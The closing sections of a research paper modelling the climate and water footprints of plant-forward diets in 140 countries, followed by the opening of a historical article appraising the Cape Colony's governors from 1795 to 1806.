The countries with the most GHG-intensive baseline consumption patterns (Fig. 6)—and the greatest potential GHG reductions from shifting toward plant-forward diets—included those with the highest per capita intake of bovine meat (Argentina, Brazil, Australia), the most GHG-intensive bovine meat production (Paraguay, Chile; Fig. 3), and the greatest contributions of deforestation to the GHG footprints of diets (Paraguay, Chile, Brazil; Brazil is shown in Fig. 7). Deforestation accounted for 61% of the GHG footprint for the Paraguayan baseline consumption pattern, and over 10% of the GHG footprints for 32 countries’ baseline patterns.

Over all 140 study countries, a theoretical shift to vegan diets reduced per capita diet-related GHG footprints by an average of 70%, relative to the baseline (Fig. 5a). Vegan diets had the lowest per capita GHG footprints in 97% of study countries. Given the low per-kilocalorie GHG footprints of most plant foods (Fig. S1), even substantial increases in consumption had only modest effects on GHG emissions of diets. For the US vegan diet, for example, scaling up plant foods recouped 100% of the calories and protein from animal foods with only 16% of the GHG emissions relative to the adjusted baseline (Fig. 7).

Relative to vegan diets, low-food chain diets (i.e., predominantly plant-based plus forage fish, bivalve mollusks, and insects) offer greater flexibility by allowing for modest animal product intake with comparable environmental benefits (Fig. 5). Low-food chain diets also met the recommended intake of vitamin B12 for adults (2.4 μg/day; Institute of Medicine Food and Nutrition Board, 1998) in 49% of study countries, illustrating that there may be ways to mitigate this potential limitation of plant-forward diets even without supplementation, at least for the general population.

Mostly plant-based diets were generally less GHG-intensive than lacto-ovo vegetarian diets, in part due to the relatively high GHG footprint of dairy (and eggs, depending on the basis of comparison; Figs. 2, S1–S3) and the reliance on dairy as one of only three food groups in the lacto-ovo vegetarian diet used to meet the protein floor (Fig. 1). This phenomenon was particularly notable for India (Fig. 6, Fig. 7). In 95% of countries, two-thirds vegan diets were less GHG-intensive than lacto-ovo vegetarian (e.g., Fig. 6, Fig. 7). Countries where this was not the case included those with some of the most GHG-intensive baseline consumption patterns (i.e., Paraguay, Chile, Argentina), largely because of the GHG-intensity of ruminant meat in those countries. In 64% of countries, the GHG footprints of no dairy diets were lower than those of lacto-ovo vegetarian diets (e.g., India and Indonesia, Fig. 7; also Fig. 6). In 91% of countries, the GHG footprints of low-food chain diets were less than half those of lacto-ovo vegetarian diets. These findings suggest populations could do far more to reduce their climate impact by eating mostly plants with a modest amount of low-impact meat than by eliminating meat entirely and replacing a large share of the meat’s protein and calories with dairy.

3.2.5. Per capita water footprints of whole diets

Per capita blue WFs of diets (Fig. 8a, e) were in many cases largest in countries with 1) low annual precipitation, increasing reliance on irrigation for domestic crops; and 2) climatic factors such as high temperatures that contribute to high evapotranspiration rates, and thereby decrease crop water productivity (i.e., crop output per unit of water consumed). These included Iran, Egypt, and Saudi Arabia. Domestically-produced rice was among the top contributors in high-blue WF countries, four of which (Kazakhstan, Afghanistan, Pakistan, Iran) were also among the most blue water-intensive rice-producing countries (e.g., Fig. 4; rice WFs for all countries are provided in Mendeley Data input/item_footprints_by_coo). For blue WF reductions, the most impactful per capita dietary shifts were in Egypt, in part due to the high blue water intensity of Egyptian bovine meat and dairy.

For baseline consumption patterns, the consumptive (blue plus green) WF was highest for Niger (Fig. 8b, e), 98% of which was attributable to green water. Domestically-grown millet was the largest single contributor (40%) to the consumptive WF of the baseline consumption pattern. Niger had by far the highest per capita millet supply of any country, and was the 3rd largest producer and 8th most water-intensive millet-producing country. The low water productivity of millet in Niger was attributable to low edible yield and high evapotranspiration rates. Inedible millet crop residues, however, provide fuel, construction materials, and livestock fodder (Sadras et al., 2009), illustrating how sociocultural and economic provisions of agricultural goods must be considered alongside ecological outcomes (see Section 3.3).

Potential reductions in per capita consumptive WFs from shifting to vegan diets were largest in Bolivia, Israel, and Brazil. Bovine meat, poultry, and dairy together accounted for over half of the consumptive WFs of the baseline consumption patterns in each of these countries. In Israel, for example, the per capita consumptive WFs of the low-food chain and vegan diets were 66% and 67% lower, respectively, than that of the baseline consumption pattern. Bolivia was the most water-intensive producer of bovine meat and the second for dairy, and most of the country’s supply of these items was produced domestically. Bolivia also has a high prevalence of anemia (Development Initiatives, 2018), thus efforts to mitigate high WFs through dietary interventions must give this careful consideration.

For many countries, the blue WFs of low and no red meat, no dairy, and pescetarian diets were higher than those of baseline consumption patterns (Figs. 5a, 8a). These diets scaled up aquatic animals, of which the FBS items “Freshwater Fish” and “Crustaceans” were highly blue water-intensive when raised in ponds (Figs. 2, S1–S3). Contributions of aquatic animals to the blue WFs of baseline, low red meat, and no red meat diets exceeded those from terrestrial meat in 29%, 34%, and 69% of countries, respectively. In mainland China and Indonesia, for example, aquatic animals contributed 29% and 26%, respectively, to the blue WFs of baseline consumption patterns. In both countries, a substantial share of domestic fish production was from aquaculture (72% and 38%, respectively), predominantly for domestic consumption and not export (Belton et al., 2018). Replacing water-intensive pond-raised species with forage fish and bivalve mollusks, as in the low-food chain diet, could reduce both water and GHG footprints (see Section 3.3 regarding limits to increased aquatic animal intake).

Note that we did not have information about the shares of freshwater fish and crustaceans consumed in a given country that were farmed in ponds, so we made assumptions based on global production patterns (see Section 2.7.6). This method overestimates blue WFs of countries that source a large share of these species from wild fisheries or non-pond aquaculture, while underestimating blue WFs of countries for which the converse is true.

3.2.6. Targeting dietary interventions and whole-country footprints of diets

All else being equal, optimal interventions would promote dietary shifts in countries with large potential reductions in both per capita and whole country GHG and water footprint (acknowledging that “optimal” depends on a wide range of factors, including many not considered here; see Section 3.3). Based on shifting to a two-thirds vegan diet for purely illustrative purposes, only three countries—Brazil, the US, and Australia—were in the highest quintile for all four of the following criteria: greatest potential per capita and whole-country reductions in both GHG and consumptive water footprints (Fig. S4).

3.3. Limitations and opportunities for future research

There is much variability and uncertainty in accounting for post-farm gate activities (e.g., processing, transportation, retail) and soil carbon fluxes, and accordingly, they are rarely included in the scope of item footprint studies. Both were thus excluded from this study. We do not expect the former to affect our overall conclusions, as the majority (80–86%) of diet-related GHG emissions have been attributed to the production stage (Vermeulen et al., 2012).

Accounting for soil carbon sequestration has been shown to lower estimates of the GHG footprints of ruminant products, particularly those from management-intensive grazing systems (e.g., Pelletier et al., 2010; Tichenor et al., 2017). Further research is needed to measure the potential for soil carbon sequestration to reduce ruminant GHG footprints over a broad geographic and temporal scale, given it is time-limited; reversible; and highly context-specific based in part on soil composition, climate, and livestock management (Garnett et al., 2017). Conversely, the potential for soil carbon losses (e.g., from overgrazing or feed crop production) to increase ruminant GHG footprints should also be considered. Regardless of the uncertain role of well-managed grazing systems in carbon sequestration, the potential benefits for soil health, biodiversity, animal welfare, and other dimensions independent of climate change should also be taken into consideration. Apart from livestock production, carbon fluxes in crop and polyculture systems should also be further explored.

Aside from shifting consumption patterns, our study model holds other factors constant over time, including climatic conditions, population dynamics, food wastage, trade patterns, and the GHG- and water-intensity of production. Over the gradual course of changing diets, these factors will change in ways that are difficult to anticipate, e.g., as a result of rising incomes, evolving technology, changing trade policies, and economic feedback effects. Furthermore, we assume a proportional relationship between shifting demand and supply-side impacts, whereas the impact of dietary shifts on blue water conservation, for example, may be limited without policies promoting sustainable withdrawal rates (Weindl et al., 2017). Similarly, reducing animal product intake cannot reverse CO2 emissions from deforestation unless land is taken out of production and reforested (Searchinger et al., 2018). Given their uncertain potential, dietary shifts should be complemented with other behavioral and policy interventions.

Further research is needed to examine dietary shifts in the context of social, economic, ecological, and agronomic feasibility, particularly in low- and middle-income countries (Kiff et al., 2016), as well as the effects on other health, social, and ecological measures not considered here (e.g., producers’ livelihoods, land availability, biodiversity, and eutrophication potential). Shifts to plant-forward diets, for example, must ensure target populations have sufficient physical and economic access to a variety of nutrient-dense plant-based foods. Agricultural systems would need to scale up production of fruits, vegetables, and proteins to meet the nutritional needs of the current population (KC et al., 2018), concurrent with a more equitable redistribution of available food. Dietary scenarios that increase aquatic animal consumption, meanwhile, raise concerns regarding depletion of wild stocks and ecological issues associated with increasing production of certain farmed species (Thurstan and Roberts, 2014). The feasibility of sustainable diets may further depend on how well proposed eating patterns align with historical and cultural context. Van Dooren and Aiking (2016) demonstrate a method for balancing several of these domains by simultaneously optimizing modeled diets for nutrition, climate change mitigation, land use, and cultural acceptability. Our use of baseline consumption patterns as a reference point helped to preserve countries’ eating patterns when modeling diets (Section 2.4); cultural receptivity could be further refined, however, by using national food-based dietary guidelines (FBDGs) to define criteria for healthy diets for individual countries, as in Vanham et al. (2018), rather than global recommendations (Section 2.4). Alternatively, or in cases where countries do not have FBDGs, this research could help define FBDGs that are healthy, sustainable, and culturally appropriate. Country-specific analyses that account for cultural acceptability could then be placed within the context of the planetary boundaries for food systems proposed by the EAT-Lancet Commission (Willett et al., 2019). The need to better characterize the impacts of, viability of, and strategies for shifting toward plant-forward diets, however, must be balanced against the preponderance of evidence calling for immediate action.

4. Conclusion

We evaluated nine plant-forward diets aligned with nutrition guidelines, specific to 140 individual countries, for their potential roles in climate change mitigation and freshwater conservation. Accounting for country-specific differences in over- and under-consumption, trade and baseline consumption patterns, and the GHG- and water-intensities of foods by COO can help tailor policy and behavioral interventions. Using this approach, we present a range of flexible options for each country that better align dietary patterns with public health and ecological goals, including viable alternatives for low- and middle-income countries that might otherwise adopt the consumption patterns of OECD countries.

Declaration of Interest Statement



B.F.K and S.R.C. developed the model with guidance and contributions from all co-authors; J.P.F. provided guidance and expertise on the modeling and analysis of aquatic animal footprints; M.M.M. and A.Y.H. provided guidance and expertise on water footprints and coproduct allocation; S.D.P. and M.W.B. provided guidance and expertise on modelling healthy diets; A.P.S., B.F.K., R.E.S., and C.M.S. performed the search and standardization of item footprint studies; R.E.S. performed the literature review of other diet footprint studies; B.F.K. and R.E.S. wrote the manuscript; and K.E.N. and R.A.N. provided guidance and expertise on all facets of and supervised the project. All authors reviewed and contributed to manuscript drafts.


We thank Danielle Edwards and Emily Hu for research assistance; Rebecca Ramsing, Alana Ridge, and Marie Spiker for general guidance and discussions; Tomasz Filipczuk from the Crops, Livestock & Food Statistics Team of the FAO Statistics Division for guidance on the use and interpretation of FAO data; and Ruth Burrows, Bailey Evenson, Carolyn Hricko, Shawn McKenzie, Matthew Kessler, Rebecca Ramsing, Marie Spiker, and James Yager for comments on the manuscript. This work was supported by the Columbus Foundation. The funders had no role in study design; data collection, analysis, or interpretation; preparation of the manuscript; or decision to publish.


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An appraisal of the executive political leaders and regimes of South Africa: 1652 to 2018. Part 6: Performance profiles of executive political leaders and regimes for the period 1795 to 1872 (Cape Colony)

Gabriel P Louw


Research Associate, Focus Area Social Transformation, Faculty of Humanities, Potchefstroom Campus, North-West University, South Africa

Corresponding Author:

Prof. Dr. GP Louw; MA (UNISA), PhD (PU for CHE), DPhil (PU for CHE), PhD (NWU)


Keywords: appraisal, black, executive, history, leaders, performance, political, profile, regime, white.

Ensovoort, volume 40 (2019), number 4: 1

1. Background

1.1 Introduction

At the end of 1794, France invaded Holland and in January 1795, they captured Amsterdam. As a result, the monarch, the Prince of Orange, fled to England. In Holland the Patriot Party came to an agreement with the French Republic in May 1795 and took over power to create the Batavian Republic, for all intents and purposes a vassal state of the French. The Prince of Orange, living in exile in England, requested the British government to protect the Cape Colony until he could recover the throne. He wanted to prevent the strategic halfway house falling into the hands of the French. For the British government, this was an excellent opportunity to safeguard their immediate interests in India and they decided to send a fleet of nine vessels. This fleet was under the command of Admiral Sir GK Elphinstone. He was accompanied by a military force sixteen hundred strong under the command of General Sir JH Craig. The fleet reached False Bay in June 1795, and after minimal resistance, the VOC’s force surrendered. Commissioner-General AJ Sluysken, the acting Governor of the Cape, signed the Treaty of Rustenburg on 6 September 1795, handing over the Cape Colony to the British to rule temporarily on behalf of the Prince of Orange. The VOC’s soldiers became prisoners of war, while Sluysken returned to the Netherlands. General Craig acted as governor until May 1797 when he was relieved by the Earl George Macartney.1,2

The total population within the borders of the Cape Colony was as follows at that stage1:37:

  •     White free burghers numbering 16 000, with more or less 11 000 living in the rural areas and 5 000 living in Cape Town.
  •     About 1 500 White officials and 1 200 troops.
  •     Non-White slaves numbering 17 000.
  •     A KhoiKhoi population of 4 000.

Regarding the European population at the Cape in 1797, the proportion was 50% Dutch, 27% German, 17% French, and other elements representing 6%, mostly Scandinavian.1

1.2 The presence of the civilized world in the form of the British Empire as temporary rulers of the Cape, 1795 to 1803

We already saw in Part 5 of the series that the Cape’s inhabitants were exposed to different commanders and governors of the VOC over the period 1652. In general they brought very little that was positive, but they all had one common feature: they were all Dutch and of the same culture and political orientation as most of the White inhabitants living at the Cape. The inhabitants could address their appeals about wrongdoings by the VOC government and the commander and governors, to organizations that were Dutch, although these appeals mostly went unanswered. As a direct result of the VOC’s mismanagement on many terrains, a culture of lawfulness had developed in the Cape Colony, and this had become entrenched among the White frontiersmen. This made them resistant to stricter governance and order and to the change to a more humane attitudes to the non-Whites. The arrival of the British as temporary rulers meant the end of the VOC. The British had often been at war with the Dutch before this and were directly responsible for the downfall of the VOC’s rule at the Cape with their shipping trade embargos.1-5

The free burghers certainly did not see the British as trustworthy comrades and true partners when they came to the Cape in 1795, especially not the unruly White frontiersmen. Most of all, they did not foresee the collapse of the VOC and its partnership with the Netherlands, opening the door for one of their greatest enemies to become their ruler without a shot being fired. The unpreparedness of the free burghers is reflected in the arrogance of the inhabitants of Graaff-Reinet and Swellendam when they declared themselves “independent” from the Cape, seemingly as part of the Batavian Republic.1-3

On the other hand, the British were interested in expanding their Empire and they had little respect and consideration for different from what they considered their “civilized” culture. Their domination of the globe was equally entrenched in their thinking, and they forced many groups around the world to march to a British tune. They came with an aggressive intent to shape and control the indigenous cultures and people under their control. Those who adopted the British culture were always ultimately still the underdogs. The Europeans of the 1800s, like the British at the Cape, were inclined to distinguish themselves from “other” human beings by taking and consuming a growing share of the world’s goods. They skillfully manipulated the environments in their territories. Roberts4 shows this very well in his research. Self-service, self-enrichment and self-empowerment formed the bases of their British thought and behaviour. They tapped other nations’ resources, potential and human energies by overpowering them. In this way, they created a self-perpetuating wealth, opening up and creating new resources and more wealth at the costs of the oppressed.4

Roberts writes4:761:

The profits of Congo rubber, Burmese teak or Persian oil would not for a long time be reinvested in those countries. The poor European and American benefited from the low prices of raw materials, and improving morality rates tell the story of an industrial civilization finding it possible to give its peoples a richer life. Even the European peasant could buy cheap manufactured clothes and tools while his contemporaries in Africa and India still lived in the Stone Age.

In the minds of the British, the inhabitants of the Cape Colony were uncivilized. A later reference after the British final occupation of the Cape Colony in the 1800s reveals that the felt obliged to make the people of the backwards Cape Colony acceptable and functional so that they could become part of the mighty British Empire.

Compared to what the British knew as civilized, the Cape Colony indeed did not hold to this standard Roberts writes4:761:

When they looked for it, they tended to see only heathen, backward, benighted people or a few striving to join the civilized. Such an attitude was an important part of the story of European success; what were taken to be demonstrations of the inherent superiority of European ideas and values nerved men to fresh assaults on the word and inspired fresh incomprehension of it. The progressive values of the eighteenth century provided new arguments for superiority to reinforce those originally stemming from religion. By 1800, Europeans had lost almost all of their former respect for other civilizations. Their own social practice seemed obviously superior to the unintelligible barbarities found elsewhere.

It was in this “uncivilized” Cape Colony that the British arrived in 1795. Up to 1872, they ruled the area without disturbance by means of a series of autocratic governors. The period 1795 to 1872 can be divided in four: the first British occupation as caretaker of the Cape Colony (1797–1803); the Cape as a colony of the Batavian Republic (1803–1806); the second British occupation of the Cape Colony by conquest (1806–1814); and the British occupation of the Cape Colony by treaty (1814–1872). A total of twenty-nine governors served between 1795 and 1872 (2 Dutch and 27 British).

1.3 Overview of this study

This article (Part 6) is part of the second project (Project 2) on the executive leadership and regimes of South Africa. The two projects cover the period 1652 to 2018. The first series (Project 1) of five articles (Part 1 to 5) have been published in Ensovoort. The first five articles evaluated and described the performance profiles of the executive political leaders and regimes of South Africa (previously the Cape Colony) for the period 1652 to 1795. These five articles, published under the main title: An appraisal of the executive political leaders and regimes of South Africa: 1652 to 2018, are titled as follows:

  •     Part 1: Leadership characteristics in perspective;
  •     Part 2: The entities in government and society that executive political leaders use to aid     their political behaviour;
  •     Part 3: Factors that influence the development of executive political leaders;
  •     Part 4: A basic checklist for the appraisal of executive political leaders and regimes;
  •     Part 5: The performance profiles of executive political leaders and regimes for the period     1652 to 1795.

The reader is referred to this first project for the theoretical basis of this endeavour. The five articles that constitute Project 2 cover the remaining period of 1796 to 2018. In this project, the focus is on the performance profiles of executive political leaders and regimes in five timeframes: 1796 to 1872 (Part 6), 1873 to 1909 (Part 7), 1910 to 1948 (Part 8), 1949 to 1994 (Part 9) and 1995 to 2018 (Part 10).

2. Method

The research was done by means of a literature review. This method has the aim of building a viewpoint from the available evidence as the research develops. This approach is used in modern historical research where there is not an established body of research, like with the functioning of executive political leaders and their regimes of governance for the period 1795 to 1909 in South Africa. The sources included articles for 2018, books for the period 1945 to 2018 and newspapers for the period 2016. These sources were consulted to evaluate the functioning of executive political leaders and to put thoughts, views and opinions on the South African political leadership for the period 1795 to 1909 in perspective.6-8

The research findings are presented in narrative format.

2.1 Problem statement

The research question asks whether the executive political leaders of South Africa (Cape Colony) during the period 1795 to 1872 made any extraordinary contributions to the country and its people and whether their behaviour as leaders and individuals was above reproach.

  •     People refers to all the South African groups – the various races, cultural groups, tribes, etc. It includes the minorities and the majorities – it does not refer to any sole grouping in terms of dominant political party, etc. In the above reference would it be more correct to refer to     “peoples”.
  •     Country refers to today’s greater South Africa as represented by the Republic of South Africa. It also refers to the Cape Settlement and Cape Colony, etc.

2.2 Research aims

  •     The first aim of the research is to determine if the South African executive political leaders and regimes of the period 1795 to 1872 made extraordinary contributions to the country and its people during their time of rule.
  •     The second aim of the research is to determine if the behaviours of the South African     executive political leaders of the period 1795 to 1872 were above reproach.

In light of above, two research questions must be asked and answered to discover the truth about the South African executive political leaders. This then leads to two objectives, as well as two hypotheses and two alternative hypotheses.

2.3 Research questions

The following two research questions focus the research intentions:

RQ1: Did the South African executive political leaders of the period 1795 to 1872 make any extraordinary contributions to the country and its people during their times in office?

RQ2: Were the behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as individuals above reproach?

2.4 Objectives of the study

The following two objectives guide the study:

RO1: To determine if the South African executive political leaders of the period 1795 to 1872 made any extraordinary contributions to the country and its people during their time in office;

RO2: To determine if the behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as persons were above reproach.

2.5 Hypotheses

The following two hypotheses and two alternative hypotheses are tested:

H1: The South African executive political leaders of the period 1795 to 1872 made extraordinary contributions to the country and its people during their time in office.

H1A: The South African executive political leaders of the period 1795 to 1872 did not make extraordinary contributions to the country and its people during their time in office.

H2: The behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as persons were above reproach.

H2A: The behaviours of the South African executive political leaders of the period 1795 to 1872 as leaders and as persons were not above reproach.

3. Results

3.1 First British occupation as caretakers of the Cape Colony (1797–1803)

3.1.1 Autocratic governors

During the British government’s acting as care-taker of the Cape Colony on behalves of the Prince of Orange, the following four British governors’ served1,2,9:

1797–1798: George Macartney

1798–1799: Francis Dundas

1799–1801: Sir George Yonge

1801–1803: Francis Dundas

The British temporary military management under General Craig started well and he attracted positive input from many pro-colonists. The colonists were required to take an oath of allegiance to the British king for as long the Cape stays British property. The rights and property of the VOC were transferred to the new authority, but the laws, rights and customs of the colonists stayed the same. The Cape, Stellenbosch and Swellendam accepted the new regime, but Graaff-Reinet stayed aloof until November 1796 after the defeat of the Dutch fleet at Saldanha Bay. Many of the Cape inhabitants, even those took the oath of allegiance, remained hostile to the British.1-3,5 George Macartney (1797–1798)9        

On 5 May 1797 with the take-over by governor, Duke Macartney, political management suddenly changed to a strict form of Crown colony management. He introduced Imperial Authority immediately at the Cape and over the Colony, a system that remained valid until 1872. All civil and military powers were now vested in the hands of the Governor, he abolished the Political Council and soon after that the other bodies. He also created a strong official management, excluding the colonists. Any form of direct representation was absent and a further loss of political freedom followed. Strict action was taken against colonists who refused to take the oath of allegiance to the British king. A new High Court of Justice replaced the Council of Justice, while the Appeals Court consisted of the Governor and Lieutenant Governor (the commander of the military forces) with the right of higher appeal to the Privy Council in Britain. Most of the other administrative and judicial bodies of the VOC remained. The Roman-Dutch Law was retained.1-3,5

Improvements included the abolishment of corrupt monopolies, overdue land tax were written off, there was freedom of conscience and religious freedom, and torture and the barbaric execution of the death penalty on slaves were abolished. He also made the benefits of the two English Navigation Acts of 1651 and 1660 applicable on the Cape colonists.1,2,5

However, the British love for material gain emerged in the benefits and salaries paid to the British top executives and their officials, undoubtedly to detriment of the colonists. In this sense, the British were no improvement. British officials like Frans Bresler and John Barrow who were placed at Graaff-Reinet to oversee the eastern border of the colony were responsible for much of the hostility towards the British. Macartney favoured and promoted Anglo-orientated colonists, which damaged his relationship with the White inhabitants.1,2,5

The biggest challenge for Macartney was to solve of the conflict between the races, especially keeping the Xhosas within in the confines of their territories with promises and smart talk. More or less the same approach of “termination” was followed that the VOC took. The colonist-commandos received orders to keep them in their place and if needed, to drive them to the Kalahari. He tried to solve conflict by separating White and Black along the borders where the different groups started to come into contact more and more. The Macartney apartheid of 1798 failed in the end, as did the grand Apartheid of the NP a hundred and fifty years later.1,2,5

Although the temporary British government’s executive leader created a better administrative environment, Macartney failed to establish a balanced government to benefit all the inhabitants living in the Cape Colony. The British government, like the VOC government previously, was one of autocracy. Francis Dundas (1799–1799, 1801–1803)9

The Lieutenant Governor of the Cape Colony’s forces, Francis Dundas, acted as the first governor (the office was run by Sir George Yonge’s from 1799 to 1801).

Craig’s arrest of the two Graaff-Reinet leaders, Adriaan van Jaarsveld and Marthinus Prinsloo, caused conflict between the early Afrikaners and the Britons that did not calm down before 1961. The result of these arrests was a group of colonists from Graaff-Reinet on the eastern border staged their first failed rebellion. At the same time the attitude of the KhoiKhoi, mostly those living along the Orange River on the undefined northern border, changed for worse and serious conflict broke out between the Whites and the KhoiKhoi. Some British officials sided with the KhoiKhoi, which caused a further deterioration of the relationship between the early Afrikaners and the British governor and the other officials appointed by the British government. Meanwhile, an alliance formed between the KhoiKhoi and the Xhosas. The situation became very dangerous for the colonist farmers on the Eastern Frontier. The Xhosas attacked the southern part of Graaff-Reinet, committing atrocities and creating enormous chaos during the Third Xhosa War. No real action against the Xhosas and KhoiKhoi followed. The only consequence was new regulations, and the early Afrikaners felt that these regulations favoured the KhoiKhoi and the Xhosas. The British authority compelled the colonists to behaviour well towards the KhoiKhoi and the Xhosas. The British also limited the punitive action farmers could take against the KhoiKhoi and the Xhosas after an attack or livestock theft. The eastern border districts were reduced to chaos, with homesteads and farms being burned down. Racial hatred against the KhoiKhoi, Xhosas and KhoiSan deepened, especially after the Xhosas occupied large colonial areas in the east of the colony.1,2,5

Although Dundas did improve the Cape Colony in some ways, he could not solve the increasing conflict on the eastern border. The political strife between Blacks and Whites was far worse by 1803 than in 1795.

3.2 Batavian Republic (Dutch Colony) (1803–1806)9

During the Council for Asian Possessions’ rule of the Cape Colony on behalf of the Batavian Republic, the following two governors served9:

1803–1804: Jacob Abraham Uitenhage de Mist

1804–1806: Jan Willem Janssens

The Peace of Amiens between Britain and France gave the colonies back to the Netherlands. The VOC was closed down in 1798 and replaced in May 1800 by the Council for Asian Possessions, a body subject to the Dutch government. They were responsible for the further administration and management of the Cape Colony. The Cape was handed back to the Batavian Republic in February 1803 to be governed by a commissioner general. De Mist was appointed in the position, assisted by General JW Janssens as the governor in charge.1,2,5

De Mist quickly established a functioning system. Many of the VOC bodies were reinstated, like the Political Council and the Council of Justice. The Cape Colony’s juridical status changed to that of a province of the Netherlands and was managed directly from there.1,2,5

The non-Whites who had no human rights up to 1803 were now burghers and formed the majority of the population. By 1803 there were 22 000 Whites versus 25 000 slaves and 10 000 KhoiKhoi (making the population ratio 4:6), while in 1805 there were 25 757 Whites versus 29 545 slaves and 20 006 KhoiKhoi (ratio 3:6). Both De Mist and Janssens, as liberal thinkers, were worried about the oppression of the Blacks by the government itself and by the colonists, especially in the areas along the inland borders. This concern was justified, seeing that the non-Whites were the majority, and growing, left without any civil or human rights from 1652. The Dutch leaders improved on many of the regulations designed to limit the lawless actions of the White frontiersmen. They for instance compelled White employer to sign service contracts with their KhoiKhoi employees. This was a positive step that better work- and race relations. De Mist also wanted to gradually emancipate the slaves by freeing slave children at birth. However, his short period at the Cape and the rigid attitudes of the White farmers thwarted his humanitarian efforts. The White farmers wanted cheap labour and they kept importing of more slaves.1,2,5

Another positive contribution was De Mist’s establishment of a Board of Education to manage education and to rectify the neglect of education by the British caretakers. His intent to get education of an equal standard to the frontiersmen is especially noteworthy. He also focused on maintaining of free trade and made efforts to improve the local wool and wine industries. With respect to religion, he introduced measures to reorganise and recognise various religious dominations. This included help with gatherings of congregations to the payment of their ministers. However, he made it clear that the church in all its forms is subject to the state. He addressed the colour issue directly, opening religious practice to all.1,2,5 Van der Merwe writes5:147:

…public religious gatherings on Sundays could only take place on Sundays with open doors, so that no-one, Christian or heathen, White or Black, slave or free man, could be refused entry (Own translation).

For the first time since 1652, there was the flickering of hope that there would be a form of executive and political leadership that would serve all the populations of the Cape, gaining the respect, support and approval of all races. The hope was that this leadership would guide the future politicians in their duties and behaviours as leaders at the Cape.1,2,5

De Mist’s Memorie expounded a new civil and juridical code of governance that was unknown to the Cape Colony until that time. It covered every facet of live from health, education, religion, economics, farming, civil and political rights, defence to taxation. Although the De Mist Code did not suggest one-man-one-vote, his various governmental and civil bodies granted more representation to inhabitants in every sphere of life and clearly intended to end civil unrest in daily life. His code also limited power abuse by the executive leaders of the Colony and its inhabitants with respect to economic, civil, political and juridical rights. De Mist did wonders in his short time (1803–1804) at the Cape. Although his progress with rights for non-Whites was limited, he significantly improved the situation of the Whites.1,2,5

Regarding the Black–White issue, especially in the Graaff-Reinet and areas along the eastern border, he addressed possible future mistreatment of the slaves, KhoiKhoi, Khoisan and the Blacks by the colonists by the placing of a subdivision of soldiers there to oversee justice. However, his liberal policy of befriending the Xhosas failed, as evident from continuing attacks. De Mist’s one-sided view of the non-Whites as the only victims at the hand of the colonists changed over time. The Whites often saw reprimands for illegal Black behaviours as support for the Whites. Later in history, Whites often cited these incidents as proof of the evil intentions of the KhoiKhoi, Khoisan and the Xhosas in the 1800s. They rarely mention the transgressions of the Whites, like land grabbing, stock theft and the murder of these non-Whites as punishment actions (like the “hunting” of the KhoiSan).1,2,5

Historical writings rarely reflect both sides of the story. The events occurred in a less civilized world than today. The Whites saw the KhoiKhoi, Khoisan and the Xhosas as African barbarians, and the non-Whites saw the White frontiersmen as White barbarians. The impact of these early conflicts on later hostility and counter-hostility is often underestimated. The problems that started in 1652 and that went on to affect South African politics until 1994 and beyond, did not resolve under De Mist.1,2,5

In 1803 De Mist entered a political system where racial differences (and discrimination and domination) affected religion, culture, cognition, emotion, education, lifestyle and standard developments and functioning and where these differences were already deeply entrenched. The situation could not have changed with a single code. Continuing the separation that Macartney started in 1798 seemed the best solution, but it ultimately spelled disaster.1,2,5 Van der Merwe describes the doom lurking in De Mist’s policy5:153:

…the intention of the Batavian authorities was to create a better grounding for the relationship between the colonists and the Bantus along the eastern border. According to Alberti [captain of the military forces based at Fort Frederick on the Eastern border and later military magistrate at Uitenhage in charge of overseeing peace in the area], the policy had to be founded on two principles, namely dispelling all Bantus from the Suurveld and driving them across the colonial border, and ending all contact between colonists and Bantus, and between Bantus and Hottentots. This principle was also included in the first message of De Mist to the settled populations along the border districts and to the Xhosa captains. The Bantu had no concept of ‘mine’ and ‘yours’, and this was at the core of all the problems. Nobody was allowed to move across the border and back. Alberti felt that sixty soldiers would be enough to patrol the border. The policy therefore came down to inexorable separation to maintain peace between the eastwards migrating Whites and the southwards moving Bantu stream (Own translation).

The above description reveals the complete lack of understanding of the problems along the border. The Blacks and Whites were seen as two groups, there was no understanding that neither these categories consisted of a natural unity. At this point in history, not a single executive political leader, Dutch or British, had shown insight or had made decisions beyond their own short-term interests. The leaders came from European tradition of the separation of nations where each nation is financially independent and large enough to form a nation. This was not the case here. What is more, the right to land and the ownership of land played a significant role in the relationships. The South Africa of the 1800s was basically an agricultural economy, making the sole ownership of land a point of conflict. It was naïve of Alberti to think that they could stop the migration of the different groups. It was a complicated process, and the politicians of the 1800s were used to settling these kinds of problems with brute military force.1,4

De Mist’s hopes that his governance would inspire good leadership that would serve all the populations of the Cape and that he would be remembered as a leader who was respected, supported and approved by all the different races, failed to become a reality. He started well in 1802, but he undid all of his own good work. This begs the question: Would any future South African judiciary or political regime or executive leader be able to do better than De Mist? Time will tell.

De Mist and his assistant Janssens inherited a dysfunctional system. They had the genuine intention to better it and made honest attempts in their short rule of two years (1802–1804). However, it was already an unhealthy situation where each race was trapped in their little corner with their own fears. Van der Merwe5 writes as follows about De Mist and Janssens5:155:

However, their work at the Cape was not without fruit, although their limited time did not allow for it to be thoroughly tested. Their labour was fraught with extraordinary difficulty. All their actions and decisions were aimed at promoting the good of South Africa. In cases where measures were not received well by the citizens, this should not be attributed to ill will or a lack of diligence, but rather to the fact that the authorities were not informed of the intricacies, morals and habits of the communities to which these measures were made applicable. They regarded the communities as people with the same prejudices as all colonists, which was not true. This became clear from the colonist’s views of all beings who are not White, and their religious views in this regard. In essence the leaders were confronted here with a people who were no longer Dutch, but who showed the traits of a new, separate nation with an own language and views regarding all terrains of life, and they differed significantly from those of their Dutch, German and French contemporaries (Own translation).

Van der Merwe5 poignantly captures the problems created by the fact that the White inhabitants were developing a unique political identity. They actually needed their own state by the 1800s, run independently without outsider interference or intervention. He highlights the beginnings of the early Afrikanerdom, a people prepared to challenge anyone who dares to limit their identity and human rights. However, this imminent Afrikaner historian does fail to describe, like many of his contemporaries, the many changes and transformations the KhoiSan, KhoiKhoi and Xhosas also underwent, often by force, since the 1600. Nor does he acknowledge the role, good or bad, that the Whites (both inhabitants and authorities) at the Cape played in these many changes and transformations. This information sheds light on why the Cape Colony’s politicians and executive leaders failed to appoint good leaders and to establish a permanent regime up to the 1800s.1,2,5

